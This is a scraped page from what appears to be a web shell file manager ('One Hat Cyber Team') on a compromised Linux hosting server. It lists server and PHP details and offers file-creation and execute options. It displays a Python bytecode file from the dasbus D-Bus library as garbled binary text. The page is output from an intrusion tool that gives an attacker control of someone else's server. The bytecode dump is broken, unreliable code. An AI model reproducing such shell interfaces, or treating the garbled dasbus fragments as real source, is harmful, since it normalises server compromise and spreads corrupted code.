⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.177
Server IP:
50.6.168.112
Server:
Linux server-617809.webnetzimbabwe.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.4.10
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.9
/
site-packages
/
dasbus
/
__pycache__
/
View File Name :
structure.cpython-39.pyc
a װ_62 @ s d dl Z d dlmZ d dlmZ d dlmZmZmZm Z m Z mZ g dZdZ G dd deZG d d d eZG dd deZG d d deZG dd dedZdd ZG dd deZdddZdd ZdS ) N)ABCMeta)get_type_hints)get_variantget_type_argumentsunwrap_variantis_base_type StructureList)DBusStructureErrorDBusDatagenerate_string_from_datacompare_dataZ__dbus_fields__c @ s e Zd ZdZdS )r z,General exception for DBus structure errors.N)__name__ __module____qualname____doc__ r r 4/usr/lib/python3.9/site-packages/dasbus/structure.pyr ( s r c @ sj e Zd ZdZdddZedd Zedd Zed d Zedd Z d d Z dd Zdd Zdd Z dS ) DBusFieldz+Description of a field in a DBus structure. c C s || _ || _|| _dS )zCreate a description of the field. :param name: a name of the field :param type_hint: a type hint :param description: a description N)_name _type_hint_description)selfname type_hintdescriptionr r r __init__0 s zDBusField.__init__c C s | j S )z4Name of the field. :return: a name )r r r r r r ; s zDBusField.namec C s | j S )z>Type hint of the field. :return: a type hint )r r r r r r C s zDBusField.type_hintc C s | j S )zBDescription of the field. :return: a description )r r r r r r K s zDBusField.descriptionc C s | j ddS )zQReturn name of a data attribute. :return: a data attribute name -_)r replacer r r r data_nameS s zDBusField.data_namec C s t || j| dS )zaSet the data attribute. :param obj: a data object :param value: a value N)setattrr" r objvaluer r r set_data[ s zDBusField.set_datac C s | |t| dS )ztSet the data attribute from a variant. :param obj: a data object :param variant: a variant N)r' r )r r% variantr r r set_data_variantc s zDBusField.set_data_variantc C s t || jS )z\Get the data attribute. :param obj: a data object :return: a value )getattrr" r r% r r r get_datak s zDBusField.get_datac C s t | j| |S )zkGet a variant of the data attribute. :param obj: a data object :return: a variant )r r r, r+ r r r get_data_variants s zDBusField.get_data_variantN)r )r r r r r propertyr r r r" r' r) r, r- r r r r r - s r c sB e Zd ZdZd fdd Zedd Z fddZd d Z Z S ) DBusDataFieldz0Description of a data field in a DBus structure.r c s t |t| || _dS zCreate a description of the field. :param name: a name of the field :param data_type: a subclass of DBusData :param description: a description N)superr r _data_typer r data_typer __class__r r r s zDBusDataField.__init__c C s | j S zMType of the data structure. :return: a subclass of DBusData r2 r r r r r4 s zDBusDataField.data_typec s | j |}t || dS zSet the data attribute.N)r2 from_structurer1 r' r$ r5 r r r' s zDBusDataField.set_datac C s | j | |}t| j|S z$Get a variant of the data attribute.)r2 to_structurer, r r r$ r r r r- s zDBusDataField.get_data_variant)r r r r r r r. r4 r' r- __classcell__r r r5 r r/ | s r/ c sB e Zd ZdZd fdd Zedd Z fddZd d Z Z S )DBusDataListFieldz5Description of a data list field in a DBus structure.r c s t |tt | || _dS r0 )r1 r r r r2 r3 r5 r r r s zDBusDataListField.__init__c C s | j S r7 r8 r r r r r4 s zDBusDataListField.data_typec s | j |}t || dS r9 )r2 from_structure_listr1 r' r$ r5 r r r' s zDBusDataListField.set_datac C s | j | |}t| j|S r; )r2 to_structure_listr, r r r$ r r r r- s z"DBusDataListField.get_data_variant)r r= r r r5 r r? s r? c sx e Zd ZdZ fddZeedddZeeddd Zee e d ddZ ee e dd dZdd Z Z S )r zObject representation of data in a DBus structure. Classes derived from this class should represent specific types of DBus structures. They will support a conversion from a DBus structure of this type to a Python object and back. c s( t j|i | t| tt| dS )zCreate a new data class.N)r1 __init_subclass__r# DBUS_FIELDS_ATTRIBUTEDBusFieldFactorygenerate_fields)clsargskwargsr5 r r rB s zDBusData.__init_subclass__) structurec C sl t |tstdt|j| }t| }| D ]2\}}||d}|sZt d|| || q4|S )z~Convert a DBus structure to a data object. :param structure: a DBus structure :return: a data object Invalid type '{}'.NzField '{}' doesn't exist.) isinstancedict TypeErrorformattyper get_fieldsitemsgetr r) )rF rI datafieldsr r( fieldr r r r: s zDBusData.from_structure)returnc C sN t || stdt|ji }t| }| D ]\}}||||<